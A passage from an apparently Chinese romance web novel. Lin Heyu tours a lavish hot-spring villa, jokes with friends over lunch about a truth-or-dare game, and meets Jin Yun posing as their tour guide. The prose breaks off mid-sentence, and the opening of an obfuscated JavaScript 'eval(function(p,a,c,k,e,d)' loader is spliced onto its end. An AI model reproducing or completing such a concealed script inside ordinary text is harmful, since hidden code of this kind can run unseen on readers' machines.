标间？林鹤羽扫了一眼，左侧卧室空着，被褥叠得方正；右侧卧室床尾放着他的行李箱，不知何时已经有人送来。推开浴室那面“镜子”，果然是旋转暗门，门轴润滑得没有一丝声响，转过去就是主卧，视野瞬间开阔，窗外的老梅枝桠几乎要探进屋里，梅花含苞待放，粉得近乎透明。
冰箱门上贴着一张手写卡片： 【一切免费，请尽情享用，就像回到自己家一样】 打开，冷气扑面，里面整整齐齐码着荔枝气泡水、比利时巧克力、北海道奶酪，甚至还有一小瓶写着“梅子酒”的玻璃瓶，瓶身蒙着薄薄一层霜。
林鹤羽把浴衣抖开，雪青色的棉布上用极淡的墨线绣着远山和飞鹤。
洗完澡收拾完，时间已近正午，阳光从落地窗外倾泻进来，把温泉水面照得像一面晃动的镜子，热气在玻璃上凝成细小的水珠，慢慢滑下去，留下一道道蜿蜒的痕迹。
回程的石径已被太阳烤得温热，脚踩上去不再冰凉。远处的风铃还在叮叮当当，像山里的精灵在互相打招呼。
二楼餐厅藏在屋檐深处，推开纸门前，能闻到味噌汤和烤鳗鱼的香气。包间里，马大哈正举着一片几乎透明的鲷鱼片对着光研究，嘴里还含糊不清地嚷嚷：
“我发誓那只浣熊刚才在门外冲我眨眼！它绝对认出我了！”
关影的声音传来：“认出你是傻子吧？再喂它，晚上它就敢睡你枕头边。”
林鹤羽一推门，马大哈就跟弹簧似的蹦起来：“鹤羽！你总算来了！”
李泽慢条斯理地放下筷子，露出坏笑：“对了，晚上玩真心话大冒险，我已经准备好问题清单了。”
马大哈含着蟹黄的表情瞬间凝固：“……啥、啥问题？”
李泽推眼镜，反光一闪而逝：“比如，初吻给了谁？第一次梦遗是因为谁？手机里最见不得人的文件夹叫什么名字？”
周恒君补刀：“我还加了骰子，输的人除了回答，还要现场表演复刻当时场景。”
包间安静了整整三秒。
然后马大哈发出杀猪般的嚎叫：“我不同意！这不是度假！这是公开处刑啊！”
午后的阳光像融化的蜂蜜，缓缓淌过整个园区。集合点在山腰的观景台，风裹着温泉的湿热与松针清香扑面而来。林鹤羽刚踏上木栈道，就看见那个再熟悉不过的背影。
晋云坐在导游专用的藤椅里，背对人群，长腿随意交叠。
他抬头，目光先落在林鹤羽身上，只一秒，又若无其事地扫过其他人，嘴角勾起那抹惯常的、让人心安的弧度。
“大家来得挺准时。”他站起身，白衬衫被风扬起一角，腰侧一小截冷白的皮肤在光里晃眼，“我是你们接下来几天的向导，晋云。”
马原嘴张成一个“O”：“学、学长？你在这儿兼职？”
关影直接笑喷，周恒君难得弯了弯嘴角，就连李泽推眼镜的动作都顿了一下。大家似乎都心知肚明，唯独林鹤羽站在原地，耳尖红得几乎滴血。
骗谁呢。
这地方随便一块地砖的造价都够普通人干一辈子，晋云会缺这点“兼职费”？可偏偏他笑得那么自然，仿佛只是随口说了句今天天气不错。唯有林鹤羽不敢抬头，生怕一抬眼就撞进那双早已把他看透的眼睛里。
——
晋云坐在最前排，一只手扶着横杆，另一只手不时抬起，指给大家看远处
;eval(function(p,a,c,k,e,d){e=function(c){return(c